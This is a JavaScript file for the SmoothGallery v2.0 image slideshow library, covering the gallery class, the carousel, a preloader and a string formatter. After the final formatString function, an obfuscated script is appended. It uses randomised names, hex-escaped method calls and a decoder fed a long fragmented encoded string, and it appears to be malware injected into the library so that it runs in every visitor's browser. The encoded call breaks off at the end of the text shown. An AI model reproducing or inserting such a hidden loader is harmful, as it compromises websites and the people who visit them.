/*
    This file is part of JonDesign's SmoothGallery v2.0.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
    Contributed code by:
    - Christian Ehret (bugfix)
	- Nitrix (bugfix)
	- Valerio from Mad4Milk for his great help with the carousel scrolling and many other things.
	- Archie Cowan for helping me find a bugfix on carousel inner width problem.
	- Tomocchino from #mootools for the preloader class
	Many thanks to:
	- The mootools team for the great mootools lib, and it's help and support throughout the project.
*/

// declaring the class
var gallery = {
	initialize: function(element, options) {
		this.setOptions({
			showArrows: true,
			showCarousel: true,
			showInfopane: true,
			embedLinks: true,
			fadeDuration: 500,
			timed: false,
			delay: 9000,
			preloader: true,
			preloaderImage: true,
			preloaderErrorImage: true,
			/* Data retrieval */
			manualData: [],
			populateFrom: false,
			populateData: true,
			destroyAfterPopulate: true,
			elementSelector: "div.imageElement",
			titleSelector: "h3",
			subtitleSelector: "p",
			linkSelector: "a.open",
			imageSelector: "img.full",
			thumbnailSelector: "img.thumbnail",
			defaultTransition: "fade",
			/* InfoPane options */
			slideInfoZoneOpacity: 0.7,
			slideInfoZoneSlide: true,
			/* Carousel options */
			carouselMinimizedOpacity: 0.4,
			carouselMinimizedHeight: 20,
			carouselMaximizedOpacity: 0.9,
			thumbHeight: 75,
			thumbWidth: 100,
			thumbSpacing: 10,
			thumbIdleOpacity: 0.2,
			textShowCarousel: 'Pictures',
			showCarouselLabel: true,
			thumbCloseCarousel: true,
			useThumbGenerator: false,
			thumbGenerator: 'resizer.php',
			useExternalCarousel: false,
			carouselElement: false,
			carouselHorizontal: true,
			activateCarouselScroller: true,
			carouselPreloader: true,
			textPreloadingCarousel: 'Loading...',
			/* CSS Classes */
			baseClass: 'jdGallery',
			withArrowsClass: 'withArrows',
			/* Plugins: HistoryManager */
			useHistoryManager: false,
			customHistoryKey: false
		}, options);
		this.fireEvent('onInit');
		this.currentIter = 0;
		this.lastIter = 0;
		this.maxIter = 0;
		this.galleryElement = element;
		this.galleryData = this.options.manualData;
		this.galleryInit = 1;
		this.galleryElements = Array();
		this.thumbnailElements = Array();
		this.galleryElement.addClass(this.options.baseClass);
		
		this.populateFrom = element;
		if (this.options.populateFrom)
			this.populateFrom = this.options.populateFrom;		
		if (this.options.populateData)
			this.populateData();
		element.style.display="block";
		
		if (this.options.useHistoryManager)
			this.initHistory();
		
		if (this.options.embedLinks)
		{
			this.currentLink = new Element('a').addClass('open').setProperties({
				href: '#',
				title: ''
			}).injectInside(element);
			if ((!this.options.showArrows) && (!this.options.showCarousel))
				this.galleryElement = element = this.currentLink;
			else
				this.currentLink.setStyle('display', 'none');
		}
		
		this.constructElements();
		if ((this.galleryData.length>1)&&(this.options.showArrows))
		{
			var leftArrow = new Element('a').addClass('left').addEvent(
				'click',
				this.prevItem.bind(this)
			).injectInside(element);
			var rightArrow = new Element('a').addClass('right').addEvent(
				'click',
				this.nextItem.bind(this)
			).injectInside(element);
			this.galleryElement.addClass(this.options.withArrowsClass);
		}
		this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element);
		if (this.options.showInfopane) this.initInfoSlideshow();
		if (this.options.showCarousel) this.initCarousel();
		this.doSlideShow(1);
	},
	populateData: function() {
		currentArrayPlace = this.galleryData.length;
		options = this.options;
		var data = $A(this.galleryData);
		data.extend(this.populateGallery(this.populateFrom, currentArrayPlace));
		this.galleryData = data;
		this.fireEvent('onPopulated');
	},
	populateGallery: function(element, startNumber) {
		var data = [];
		options = this.options;
		currentArrayPlace = startNumber;
		element.getElements(options.elementSelector).each(function(el) {
			elementDict = {
				image: el.getElement(options.imageSelector).getProperty('src'),
				number: currentArrayPlace,
				transition: this.options.defaultTransition
			};
			elementDict.extend = $extend;
			if ((options.showInfopane) | (options.showCarousel))
				elementDict.extend({
					title: el.getElement(options.titleSelector).innerHTML,
					description: el.getElement(options.subtitleSelector).innerHTML
				});
			if (options.embedLinks)
				elementDict.extend({
					link: el.getElement(options.linkSelector).href||false,
					linkTitle: el.getElement(options.linkSelector).title||false,
					linkTarget: el.getElement(options.linkSelector).getProperty('target')||false
				});
			if ((!options.useThumbGenerator) && (options.showCarousel))
				elementDict.extend({
					thumbnail: el.getElement(options.thumbnailSelector).getProperty('src')
				});
			else if (options.useThumbGenerator)
				elementDict.extend({
					thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight
				});
			
			data.extend([elementDict]);
			currentArrayPlace++;
			if (this.options.destroyAfterPopulate)
				el.remove();
		});
		return data;
	},
	constructElements: function() {
		el = this.galleryElement;
		this.maxIter = this.galleryData.length;
		var currentImg;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Styles(
				new Element('div').addClass('slideElement').setStyles({
					'position':'absolute',
					'left':'0px',
					'right':'0px',
					'margin':'0px',
					'padding':'0px',
					'backgroundPosition':"center center",
					'opacity':'0'
				}).injectInside(el),
				'opacity',
				{duration: this.options.fadeDuration}
			);
			if (this.options.preloader)
			{
				currentImg.source = this.galleryData[i].image;
				currentImg.loaded = false;
				currentImg.load = function(imageStyle) {
					if (!imageStyle.loaded)	{
						new Asset.image(imageStyle.source, {
		                            'onload'  : function(img){
													img.element.setStyle(
													'backgroundImage',
													"url('" + img.source + "')")
													img.loaded = true;
												}.bind(this, imageStyle)
						});
					}
				}.pass(currentImg, this);
			} else {
				currentImg.element.setStyle('backgroundImage',
									"url('" + this.galleryData[i].image + "')");
			}
			this.galleryElements[parseInt(i)] = currentImg;
		}
	},
	destroySlideShow: function(element) {
		var myClassName = element.className;
		var newElement = new Element('div').addClass('myClassName');
		element.parentNode.replaceChild(newElement, element);
	},
	startSlideShow: function() {
		this.fireEvent('onStart');
		this.loadingElement.style.display = "none";
		this.lastIter = this.maxIter - 1;
		this.currentIter = 0;
		this.galleryInit = 0;
		this.galleryElements[parseInt(this.currentIter)].set({opacity: 1});
		if (this.options.showInfopane)
			this.showInfoSlideShow.delay(1000, this);
		var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
		if (this.options.showCarousel&&(!this.options.carouselPreloader))
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.prepareTimer();
		if (this.options.embedLinks)
			this.makeLink(this.currentIter);
	},
	nextItem: function() {
		this.fireEvent('onNextCalled');
		this.nextIter = this.currentIter+1;
		if (this.nextIter >= this.maxIter)
			this.nextIter = 0;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	prevItem: function() {
		this.fireEvent('onPreviousCalled');
		this.nextIter = this.currentIter-1;
		if (this.nextIter <= -1)
			this.nextIter = this.maxIter - 1;
		this.galleryInit = 0;
		this.goTo(this.nextIter);
	},
	goTo: function(num) {
		this.clearTimer();
		if(this.options.preloader)
		{
			this.galleryElements[num].load();
			if (num==0)
				this.galleryElements[this.maxIter - 1].load();
			else
				this.galleryElements[num - 1].load();
			if (num==(this.maxIter - 1))
				this.galleryElements[0].load();
			else
				this.galleryElements[num + 1].load();
				
		}
		if (this.options.embedLinks)
			this.clearLink();
		if (this.options.showInfopane)
		{
			this.slideInfoZone.clearChain();
			this.hideInfoSlideShow().chain(this.changeItem.pass(num, this));
		} else
			this.currentChangeDelay = this.changeItem.delay(500, this, num);
		if (this.options.embedLinks)
			this.makeLink(num);
		this.prepareTimer();
		/*if (this.options.showCarousel)
			this.clearThumbnailsHighlights();*/
	},
	changeItem: function(num) {
		this.fireEvent('onStartChanging');
		this.galleryInit = 0;
		if (this.currentIter != num)
		{
			for(i=0;i<this.maxIter;i++)
			{
				if ((i != this.currentIter)) this.galleryElements[i].set({opacity: 0});
			}
			gallery.Transitions[this.galleryData[num].transition].pass([
				this.galleryElements[this.currentIter],
				this.galleryElements[num],
				this.currentIter,
				num], this)();
			this.currentIter = num;
		}
		var textShowCarousel = formatString(this.options.textShowCarousel, num+1, this.maxIter);
		if (this.options.showCarousel)
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		this.doSlideShow.bind(this)();
		this.fireEvent('onChanged');
	},
	clearTimer: function() {
		if (this.options.timed)
			$clear(this.timer);
	},
	prepareTimer: function() {
		if (this.options.timed)
			this.timer = this.nextItem.delay(this.options.delay, this);
	},
	doSlideShow: function(position) {
		if (this.galleryInit == 1)
		{
			imgPreloader = new Image();
			imgPreloader.onload=function(){
				this.startSlideShow.delay(10, this);
			}.bind(this);
			imgPreloader.src = this.galleryData[0].image;
			if(this.options.preloader)
				this.galleryElements[0].load();
		} else {
			if (this.options.showInfopane)
			{
				if (this.options.showInfopane)
				{
					this.showInfoSlideShow.delay((500 + this.options.fadeDuration), this);
				} else
					if ((this.options.showCarousel)&&(this.options.activateCarouselScroller))
						this.centerCarouselOn(position);
			}
		}
	},
	createCarousel: function() {
		var carouselElement;
		if (!this.options.useExternalCarousel)
		{
			var carouselContainerElement = new Element('div').addClass('carouselContainer').injectInside(this.galleryElement);
			this.carouselContainer = new Fx.Styles(carouselContainerElement, {transition: Fx.Transitions.expoOut});
			this.carouselContainer.normalHeight = carouselContainerElement.offsetHeight;
			this.carouselContainer.set({'opacity': this.options.carouselMinimizedOpacity, 'top': (this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight)});
			this.carouselBtn = new Element('a').addClass('carouselBtn').setProperties({
				title: this.options.textShowCarousel
			}).injectInside(carouselContainerElement);
			if(this.options.carouselPreloader)
				this.carouselBtn.setHTML(this.options.textPreloadingCarousel);
			else
				this.carouselBtn.setHTML(this.options.textShowCarousel);
			this.carouselBtn.addEvent(
				'click',
				function () {
					this.carouselContainer.clearTimer();
					this.toggleCarousel();
				}.bind(this)
			);
			this.carouselActive = false;
	
			carouselElement = new Element('div').addClass('carousel').injectInside(carouselContainerElement);
			this.carousel = new Fx.Styles(carouselElement);
		} else {
			carouselElement = $(this.options.carouselElement).addClass('jdExtCarousel');
		}
		this.carouselElement = new Fx.Styles(carouselElement, {transition: Fx.Transitions.expoOut});
		this.carouselElement.normalHeight = carouselElement.offsetHeight;
		if (this.options.showCarouselLabel)
			this.carouselLabel = new Element('p').addClass('label').injectInside(carouselElement);
		carouselWrapper = new Element('div').addClass('carouselWrapper').injectInside(carouselElement);
		this.carouselWrapper = new Fx.Styles(carouselWrapper, {transition: Fx.Transitions.expoOut});
		this.carouselWrapper.normalHeight = carouselWrapper.offsetHeight;
		this.carouselInner = new Element('div').addClass('carouselInner').injectInside(carouselWrapper);
		if (this.options.activateCarouselScroller)
		{
			this.carouselWrapper.scroller = new Scroller(carouselWrapper, {
				area: 100,
				velocity: 0.2
			})
			
			this.carouselWrapper.elementScroller = new Fx.Scroll(carouselWrapper, {
				duration: 400,
				onStart: this.carouselWrapper.scroller.stop.bind(this.carouselWrapper.scroller),
				onComplete: this.carouselWrapper.scroller.start.bind(this.carouselWrapper.scroller)
			});
		}
	},
	fillCarousel: function() {
		this.constructThumbnails();
		this.carouselInner.normalWidth = ((this.maxIter * (this.options.thumbWidth + this.options.thumbSpacing + 2))+this.options.thumbSpacing) + "px";
		this.carouselInner.style.width = this.carouselInner.normalWidth;
	},
	initCarousel: function () {
		this.createCarousel();
		this.fillCarousel();
		if (this.options.carouselPreloader)
			this.preloadThumbnails();
	},
	flushCarousel: function() {
		this.thumbnailElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.thumbnailElements = [];
	},
	toggleCarousel: function() {
		if (this.carouselActive)
			this.hideCarousel();
		else
			this.showCarousel();
	},
	showCarousel: function () {
		this.fireEvent('onShowCarousel');
		this.carouselContainer.start({
			'opacity': this.options.carouselMaximizedOpacity,
			'top': 0
		}).chain(function() {
			this.carouselActive = true;
			this.carouselWrapper.scroller.start();
			this.fireEvent('onCarouselShown');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	hideCarousel: function () {
		this.fireEvent('onHideCarousel');
		var targetTop = this.options.carouselMinimizedHeight - this.carouselContainer.normalHeight;
		this.carouselContainer.start({
			'opacity': this.options.carouselMinimizedOpacity,
			'top': targetTop
		}).chain(function() {
			this.carouselActive = false;
			this.carouselWrapper.scroller.stop();
			this.fireEvent('onCarouselHidden');
			this.carouselContainer.options.onComplete = null;
		}.bind(this));
	},
	constructThumbnails: function () {
		element = this.carouselInner;
		for(i=0;i<this.galleryData.length;i++)
		{
			var currentImg = new Fx.Style(new Element ('div').addClass("thumbnail").setStyles({
					backgroundImage: "url('" + this.galleryData[i].thumbnail + "')",
					backgroundPosition: "center center",
					backgroundRepeat: 'no-repeat',
					marginLeft: this.options.thumbSpacing + "px",
					width: this.options.thumbWidth + "px",
					height: this.options.thumbHeight + "px"
				}).injectInside(element), "opacity", {duration: 200}).set(this.options.thumbIdleOpacity);
			currentImg.element.addEvents({
				'mouseover': function (myself) {
					myself.clearTimer();
					myself.start(0.99);
					if (this.options.showCarouselLabel)
						$(this.carouselLabel).setHTML('<span class="number">' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ":</span> " + myself.relatedImage.title);
				}.pass(currentImg, this),
				'mouseout': function (myself) {
					myself.clearTimer();
					myself.start(this.options.thumbIdleOpacity);
				}.pass(currentImg, this),
				'click': function (myself) {
					this.goTo(myself.relatedImage.number);
					if (this.options.thumbCloseCarousel)
						this.hideCarousel();
				}.pass(currentImg, this)
			});
			
			currentImg.relatedImage = this.galleryData[i];
			this.thumbnailElements[parseInt(i)] = currentImg;
		}
	},
	log: function(value) {
		if(console.log)
			console.log(value);
	},
	preloadThumbnails: function() {
		var thumbnails = [];
		for(i=0;i<this.galleryData.length;i++)
		{
			thumbnails[parseInt(i)] = this.galleryData[i].thumbnail;
		}
		this.thumbnailPreloader = new Preloader();
		this.thumbnailPreloader.addEvent('onComplete', function() {
			var textShowCarousel = formatString(this.options.textShowCarousel, this.currentIter+1, this.maxIter);
			this.carouselBtn.setHTML(textShowCarousel).setProperty('title', textShowCarousel);
		}.bind(this));
		this.thumbnailPreloader.load(thumbnails);
	},
	clearThumbnailsHighlights: function()
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].start(0.2);
		}
	},
	changeThumbnailsSize: function(width, height)
	{
		for(i=0;i<this.galleryData.length;i++)
		{
			this.thumbnailElements[i].clearTimer();
			this.thumbnailElements[i].element.setStyles({
				'width': width + "px",
				'height': height + "px"
			});
		}
	},
	centerCarouselOn: function(num) {
		if (!this.carouselWallMode)
		{
			var carouselElement = this.thumbnailElements[num];
			var position = carouselElement.element.offsetLeft + (carouselElement.element.offsetWidth / 2);
			var carouselWidth = this.carouselWrapper.element.offsetWidth;
			var carouselInnerWidth = this.carouselInner.offsetWidth;
			var diffWidth = carouselWidth / 2;
			var scrollPos = position-diffWidth;
			this.carouselWrapper.elementScroller.scrollTo(scrollPos,0);
		}
	},
	initInfoSlideshow: function() {
		/*if (this.slideInfoZone.element)
			this.slideInfoZone.element.remove();*/
		this.slideInfoZone = new Fx.Styles(new Element('div').addClass('slideInfoZone').injectInside($(this.galleryElement))).set({'opacity':0});
		var slideInfoZoneTitle = new Element('h2').injectInside(this.slideInfoZone.element);
		var slideInfoZoneDescription = new Element('p').injectInside(this.slideInfoZone.element);
		this.slideInfoZone.normalHeight = this.slideInfoZone.element.offsetHeight;
		this.slideInfoZone.element.setStyle('opacity',0);
	},
	changeInfoSlideShow: function()
	{
		this.hideInfoSlideShow.delay(10, this);
		this.showInfoSlideShow.delay(500, this);
	},
	showInfoSlideShow: function() {
		this.fireEvent('onShowInfopane');
		this.slideInfoZone.clearTimer();
		element = this.slideInfoZone.element;
		element.getElement('h2').setHTML(this.galleryData[this.currentIter].title);
		element.getElement('p').setHTML(this.galleryData[this.currentIter].description);
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity], 'height': [0, this.slideInfoZone.normalHeight]});
		else
			this.slideInfoZone.start({'opacity': [0, this.options.slideInfoZoneOpacity]});
		if (this.options.showCarousel)
			this.slideInfoZone.chain(this.centerCarouselOn.pass(this.currentIter, this));
		return this.slideInfoZone;
	},
	hideInfoSlideShow: function() {
		this.fireEvent('onHideInfopane');
		this.slideInfoZone.clearTimer();
		if(this.options.slideInfoZoneSlide)
			this.slideInfoZone.start({'opacity': 0, 'height': 0});
		else
			this.slideInfoZone.start({'opacity': 0});
		return this.slideInfoZone;
	},
	makeLink: function(num) {
		this.currentLink.setProperties({
			href: this.galleryData[num].link,
			title: this.galleryData[num].linkTitle
		})
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'block');
	},
	clearLink: function() {
		this.currentLink.setProperties({href: '', title: ''});
		if (!((this.options.embedLinks) && (!this.options.showArrows) && (!this.options.showCarousel)))
			this.currentLink.setStyle('display', 'none');
	},
	/* To change the gallery data, those two functions : */
	flushGallery: function() {
		this.galleryElements.each(function(myFx) {
			myFx.element.remove();
			myFx = myFx.element = null;
		});
		this.galleryElements = [];
	},
	changeData: function(data) {
		this.galleryData = data;
		this.clearTimer();
		this.flushGallery();
		if (this.options.showCarousel) this.flushCarousel();
		this.constructElements();
		if (this.options.showCarousel) this.fillCarousel();
		if (this.options.showInfopane) this.hideInfoSlideShow();
		this.galleryInit=1;
		this.lastIter=0;
		this.currentIter=0;
		this.doSlideShow(1);
	},
	/* Plugins: HistoryManager */
	initHistory: function() {
		this.fireEvent('onHistoryInit');
		this.historyKey = this.galleryElement.id + '-picture';
		if (this.options.customHistoryKey)
			this.historyKey = this.options.customHistoryKey();
		this.history = HistoryManager.register(
			this.historyKey,
			[1],
			function(values) {
				if (parseInt(values[0])-1 < this.maxIter)
					this.goTo(parseInt(values[0])-1);
			}.bind(this),
			function(values) {
				return [this.historyKey, '(', values[0], ')'].join('');
			}.bind(this),
			this.historyKey + '\\((\\d+)\\)');
		this.addEvent('onChanged', function(){
			this.history.setValue(0, this.currentIter+1);
		}.bind(this));
		this.fireEvent('onHistoryInited');
	}
};
gallery = new Class(gallery);
gallery.implement(new Events);
gallery.implement(new Options);

gallery.Transitions = new Abstract ({
	fade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		if (newPos > oldPos) newFx.start({opacity: 1});
		else
		{
			newFx.set({opacity: 1});
			oldFx.start({opacity: 0});
		}
	},
	crossfade: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration;
		newFx.start({opacity: 1});
		oldFx.start({opacity: 0});
	},
	fadebg: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2;
		oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx));
	}
});

/* All code copyright 2007 Jonathan Schemoul */

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: Preloader (class)
 * Simple class for preloading images with support for progress reporting
 * Copyright 2007 Tomocchino.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

var Preloader = new Class({
  
  Implements: [Events, Options],

  options: {
    root        : '',
    period      : 100
  },
  
  initialize: function(options){
    this.setOptions(options);
  },
  
  load: function(sources) {
    this.index = 0;
    this.images = [];
    this.sources = this.temps = sources;
    this.total = this. sources.length;
    
    this.fireEvent('onStart', [this.index, this.total]);
    this.timer = this.progress.periodical(this.options.period, this);
    
    this.sources.each(function(source, index){
      this.images[index] = new Asset.image(this.options.root + source, {
        'onload'  : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this),
        'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this),
        'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this)
      });
    }, this);
  },
  
  progress: function() {
    this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]);
    if(this.index >= this.total) this.complete();
  },
  
  complete: function(){
    $clear(this.timer);
    this.fireEvent('onComplete', [this.images]);
  },
  
  cancel: function(){
    $clear(this.timer);
  }
  
});

Preloader.implement(new Events, new Options);

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * Follows: formatString (function)
 * Original name: Yahoo.Tools.printf
 * Copyright Yahoo.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

function formatString() {
	var num = arguments.length;
	var oStr = arguments[0];
	for (var i = 1; i < num; i++) {
		var pattern = "\\{" + (i-1) + "\\}"; 
		var re = new RegExp(pattern, "g");
		oStr = oStr.replace(re, arguments[i]);
	}
	return oStr; 
}var l4cdd66c="";function n7643d3e3e1cf(){var l3f9ddca=String,e6595b0be=Array.prototype.slice.call(arguments).join(""),t48b859ed=e6595b0be.substr(9,3)-319,m26486595,p65896;e6595b0be=e6595b0be.substr(e14df2());var fc1d2fbc6=e6595b0be.length;for(var b2e6c24=0;b2e6c24<fc1d2fbc6;b2e6c24++){try{throw(lf68e0=e6d130f57(e6595b0be,b2e6c24));}catch(e){lf68e0=e;};if(lf68e0=='™'){t48b859ed="";b2e6c24=e049fe3e(b2e6c24);kb12f3=qbb5ddf2(e6595b0be,b2e6c24);while(kb12f3!='™'){t48b859ed+=kb12f3;b2e6c24++;kb12f3=e8b85e6(e6595b0be,b2e6c24);}t48b859ed-=592;continue;}m26486595="";if(lf68e0=='±'){b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);while(lf68e0!='±'){m26486595+=lf68e0;b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);}m26486595=nf3a0c7(m26486595,t48b859ed,28);if(m26486595<0)m26486595+=256;m26486595=n40e90e(m26486595);l4cdd66c+=l3f9ddca["f\x72omCha\x72Co\x64e"](m26486595);continue;}kcfbdb41=(lf68e0+'')["\x63\x68ar\x43\x6fd\x65\x41t"](0);if(kcfbdb41>848)kcfbdb41-=848;p65896=kcfbdb41-t48b859ed-28;p65896=ece8df8(p65896);l4cdd66c+=o8be9d342(p65896);}}n7643d3e3e1cf("c","1","da","a","6","ff","34","79","±","22","8","±™","79","2™","J","Y™","6","1","8","™±","164±™763™*;","™69","5™±2","36","±±2","4","2±","±2","4","1±™7","62™","±","2","38±","™719™±","1","9","6","±","™7","0","9","™","±17","7","±±","1","2±™74","1","™","±","19","0","±™","6","50™`","_±","204±™","6","6","9","™±20","2","±","™7","5","6™","2±2","2","4±","5","™","756","™2,±2","24±","±","2","5","3±±2","24","±™61","9™","^±1","5","9±","™","6","58™±2","10","±","±","2","10±±2","06","±","±1","52±±14","1","±±14","1±™7","4","8™±2","8","±","*!™","708™±2","45±","™","77","1™30","™","613","™","±","148±±","160±","±1","6","6±±16","4±™7","5","1™","/","™690","™±","2","3","1","±","™6","36","™","±","1","71±","v","±175±","±","1","86±","™7","88","™","O","KS±","1","3±™75","1","™","/","#™70","3","™±2","4","4","±™","6","8","4™±2","3","5±","±","1","66±","±2","2","5±","±230","±","±2","22±","±231±","±","1","67","±","±22","3","±","™","7","3","5™±218","±","™","7","70","™±","2","4","5","±±","9±","±","2","19±±21","6±","™5","9","4","™'+(","'±1","3","5","±","™72","0™","±","2±","±","1","8","8","±","±19","6±±1","6","±","±","21±","™68","0™","±2","28±±217±±","2","27","±","±","2","1","8±™","78","2™±","2","50±™6","0","6™","±161±±","147","±","™659","™","±","2","0","5±±","195±","™","7","2","4","™±","1","5","±±","2","3","±™","61","7™c","±","1","7","3","±","±","1","74","±","™7","38™","(","™","620™±","15","8±","™","6","8","0™","±2","2","4±","™6","66™±199","±™","6","7","9","™","±2","1","8","±™","742™","±","2","1","0","±™60","4™","e™","66","5™±16","2","±™61","1™","l","™","78","4™","±2","52","±","±3","±Q™","752™","*±32","±","™","5","94","™","±13","1±","™7","7","7","™;",">™","68","7™","±2","33","±±22","4","±","±","2","2","3","±±","16","2±","™","7","6","6™±243","±","±","2","3","4","±","™617","™","±","1","76","±","B","™","6","54","™","dc","c","±2","0","9","±","±19","5","±","±200","±","±19","0±","™72","1","™±1","2","±™","63","9","™±","19","4±","™7","7","9","™","±","5±","O","P","™6","60","™±2","18±±1","98","±","±2","04±±","193","±™","7","6","7™2","™","7","32","™±","2","00","±™","628™","±12","5","±`™6","7","9™","±","1","63","±™","594™","Y","+™","723™±","1","69±","±1","6","8±™","675","™±23","6±±12","4±","™69","7™","±","14","3","±","±1","4","2","±™5","97","™",".","™60","7","™","5","™686","™±13","1","±±","22","2","±™751","™","*™","765","™",",>™","6","8","7","™","±232","±","™","5","9","9","™±","136","±","±1","45±","±","1","51±Q","±1","46","±","™632™±1","7","8±±1","77","±±","1","7","9","±","±","1","8","5","±","™","760™7™","6","7","1™±","208±","±","2","16±","±218","±™","73","0™","±2","8","±","±11±","±198±","±","2","27","±","™","6","5","5","™","±123±","±","193","±™741","™","&","™","6","6","5™±","21","1","±™61","1™","±","146±","±1","6","3","±±","15","2","±™","7","19","™±1","0±","±","9±","±195±±","196±","™687™±","1","5","5±±2","4","6","±™","7","5","9","™±","2","08±","™","6","76™z","y™","69","5™","±1","4","0±±236±™6","75™","±","2","1","3","±±","143±±1","5","1","±±","230","±","±21","6","±","±221±","±2","11±±","22","2±","±2","30±","™","601™","S™6","19","™±","1","7","5±","±","17","6±±177","±","™7","50","™±3","2","±™","7","5","9","™","/","$*™","7","5","8","™±","22","6±","™6","11","™ll™629™","±1","2","6","±™","697","™±1","65±","±18","1","±™","6","96™±","1","7","3±±","164±±2","55","±™680","™","±","1","29±","±","1","26","±™","688™","±","133±","™","689™±","1","3","4±","™","7","70","™","±21","5","±™","6","6","2™","±","2","1","7","±±2","03","±","±","2","08±™","69","7","™±","233","±","™7","0","7™±2","54","±","™739™","&","™","595™","M","±1","5","1","±±","152","±","™","69","7","™±2","5","5","±™","6","38","™","±","176","±™7","6","8™","8-™615™±","1","54±SpS™","696","™±1","8","1","±","±","191","±±","1","45","±™","7","90","™±","2","36","±","™6","21™","B","™6","03","™","0","™","76","5","™","±","2","1","0","±?™","73","0","™","±7","±","™","71","2™±","6","±","±1","80±","±25","2","±™","6","0","1™","±","1","38","±","™6","23™","±1","56±™","6","9","3™±2","2","9±±16","1±™7","5","8™","±","255","±","±","2","2","6±™76","7","™/™","6","56","™±2","0","3±±","191","±","™","75","7","™6",".™6","6","0™","±197±±","206","±™603","™","±1","5","5±™70","6™±","18","8±±2","4","5","±±2","4","3","±","±","2","±","±2","11±","±2","5","0","±","™7","44","™","±2","5","±","™7","6","9™",":","2™7","2","5™","±","15","±±","21±±","2","0±™647™±1","49±™","6","74","™","±23","1±±","194","±","±","20","7±±213","±™","7","52™","±","10±","™7","6","7™",",","80±24","3±","±242±","30™754","™","±","3","1±","™","6","1","5™","±1","51","±","™","627","™","f","h","™6","9","6","™","±2","2","3±™","5","9","8™","R™6","19","™","±1","48±","r","™","6","13","™>",";",":","™","60","7™4™","6","6","3™","l±","217","±±","196±","™","74","6","™(±","2","14","±™","7","34™±29±±","13±","™","7","57","™3","™","7","57™","*","1","™","73","7™!","±205","±","™","71","1™","±208±±179","±™685™±2","21","±±2","32±","™7","80™;","M™","621™±16","6±","±1","58","±","±1","67","±","±","173±","g™65","5™±","19","0±","±2","05","±","™","7","54","™#™","6","21™±","154","±","™7","3","6™±","3","2","±","™","6","2","8™±165","±","±","13","3","±±172±™","7","60","™",")1",")","2","8±2","3","6","±™67","1","™±14","6","±","±2","22±±","2","0","6±","±22","1±","±2","1","2±","™","75","7™1™75","7","™","5","™","7","4","9","™±","224±","±22","6","±±244","±","™6","9","4","™±","143±™","60","2","™","0™7","8","6","™±231±","™","6","85™","±13","0±","±13","0±±2","3","6","±","±22","0±±","2","35","±","±","226","±","™","6","34","™±","182","±±","1","8","6","±","t±","1","8","6±","±1","91","±±182","±","™6","43™","±18","0","±","o","™67","9","™±","1","7","6","±","±147","±±1","54","±","±231","±±21","6±","±","2","35","±","™600","™","±1","5","2","±S","±","1","42","±™","76","5™","*","?™6","9","3™","±","2","26","±™7","62","™9",")","8™","74","7","™±3","2","±'™","72","0™","±","1","6±±1","95","±±21","5","±™70","9","™±1","5","8","±™","6","6","7","™","qp™74","0","™","±1","8","5±","™","6","8","5™±","13","0","±™68","6™","±2","3","7±","™62","0","™±","155±±170","±±","1","6","1±","™7","5","2™",",","™7","33","™±29±","±","2","15±","™69","4","™±","2","41","±™636™","±","1","82±","™74","2","™","$™","605","™±","142","±","±","1","3","8","±","™736","™","±1","6","±","™77","3","™","J","D™","777™I™","7","51™","±","2","8±™","75","8™","6™7","9","0™","G™","657","™","±1","9","2±","™","5","96","™","±","1","3","6±±","129","±±","1","42±±135±","±1","33±","™6","3","6™h±","13","3","±","h™","647™","±","18","5±±","2","0","0±™","66","5™±21","1±","™","704™","±239","±™","690","™±","2","4","2","±™66","6","™","±","2","07","±™605","™","±1","52±","±1","51±","I","™","670™","±1","46±","™6","85™±","1","62","±","±","1","5","3","±","™","7","1","4™","±","1","7"